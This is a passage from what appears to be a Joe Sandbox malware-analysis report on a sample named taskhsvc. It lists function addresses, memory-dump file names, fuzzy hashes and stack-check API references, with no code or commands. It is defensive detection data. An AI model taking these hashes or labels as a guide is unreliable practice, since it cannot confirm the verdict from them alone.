                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail
                                        • String ID:
                                        • API String ID: 4216919130-0
                                        • Opcode ID: f9348ff3882004dfc0f8f10b3f097551bcd8c42165404737247349d02d490d70
                                        • Instruction ID: 7e09b46b70f386aaadbf4cb617f9601ea306cdfb32408b2a21f6e75cc86b2c77
                                        • Opcode Fuzzy Hash: f9348ff3882004dfc0f8f10b3f097551bcd8c42165404737247349d02d490d70
                                        • Instruction Fuzzy Hash: 4A11BA74E04305DFCB00DFA9D5405AEBBF0FB48300F10882AE954E7350E774A9819FA2
                                        Function 00BC2D88 Relevance: 1.5, APIs: 1, Instructions: 41COMMON
                                        Download Yara Rule
                                        APIs
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail
                                        • String ID:
                                        • API String ID: 4216919130-0
                                        • Opcode ID: f2fbd918d7eb966024aaee9c141e5889ca68c726a27d622f17ca8984ef44cf71
                                        • Instruction ID: fd90ad6bf6717ed4a971b31873c64882de80267a260f62893a7d0e953dc0c469
                                        • Opcode Fuzzy Hash: f2fbd918d7eb966024aaee9c141e5889ca68c726a27d622f17ca8984ef44cf71
                                        • Instruction Fuzzy Hash: E201A274A0461A8FCB00DFA9C985E6EB7F1FB29304F5248A9E955EB311E330E904DB65
                                        Function 00BDB1E0 Relevance: 1.5, APIs: 1, Instructions: 40COMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 00BDB133: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00BDB226), ref: 00BDB17E
                                          • Part of subcall function 00D3084A: __stack_chk_fail.LIBSSP-0 ref: 00D30886
                                          • Part of subcall function 00BDB185: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,00BDB24B), ref: 00BDB1D9
                                        • __stack_chk_fail.LIBSSP-0 ref: 00BDB257
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail
                                        • String ID:
                                        • API String ID: 4216919130-0
                                        • Opcode ID: 8c26811b42fe368851824a62046008b2393c32380739f8ce0ffb2c1fc90112e2
                                        • Instruction ID: c9a77cf01e7c17fccf52fee37b9a81762bbeb8f18ece3cd43f9858e966b8ec56
                                        • Opcode Fuzzy Hash: 8c26811b42fe368851824a62046008b2393c32380739f8ce0ffb2c1fc90112e2
                                        • Instruction Fuzzy Hash: 781109B8E046199FCF40EFA8C59599EBBF0FB4C310F01886AE958E7301E734A9518F65
                                        Function 00D13842 Relevance: 1.5, APIs: 1, Instructions: 39COMMON
                                        Download Yara Rule
                                        APIs
                                        • __stack_chk_fail.LIBSSP-0 ref: 00D138B7
                                          • Part of subcall function 00D12E50: abort.MSVCRT ref: 00D12F7F
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_failabort
                                        • String ID:
                                        • API String ID: 3276312271-0
                                        • Opcode ID: 61c7db90e3bcc8a8ead36140ec2276209ef44c987192842296b4daddc0590c53
                                        • Instruction ID: b3c4ba041f5734c2b7c8444380efa89615b25f14dbc96d34eaf3073e9ae239b6
                                        • Opcode Fuzzy Hash: 61c7db90e3bcc8a8ead36140ec2276209ef44c987192842296b4daddc0590c53
                                        • Instruction Fuzzy Hash: 481142B4D042099FCB40DFA9D58199EBBF0FB4C310F018829E858E7300E734EA558F65
                                        Function 00BC4AF9 Relevance: 1.5, APIs: 1, Instructions: 36COMMON
                                        Download Yara Rule
                                        APIs
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail
                                        • String ID:
                                        • API String ID: 4216919130-0
                                        • Opcode ID: bf1a2d73a1d75900f923c30fea31b6fd470e3f9a080f5ccbfe052d0ac47c455a
                                        • Instruction ID: 18e5045ec00defac92cd6fa9eb854e94d51f04007fdfc65d2bd02a30e3dfb6c4
                                        • Opcode Fuzzy Hash: bf1a2d73a1d75900f923c30fea31b6fd470e3f9a080f5ccbfe052d0ac47c455a
                                        • Instruction Fuzzy Hash: 1B01BB74A042099BDB10EFB9C551B9DB7F0EF04310F018569B964EB384D734DD019B95
                                        Function 00D13207 Relevance: 1.5, APIs: 1, Instructions: 36COMMON
                                        Download Yara Rule
                                        APIs
                                        • __stack_chk_fail.LIBSSP-0 ref: 00D13277
                                          • Part of subcall function 00D12E50: abort.MSVCRT ref: 00D12F7F
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
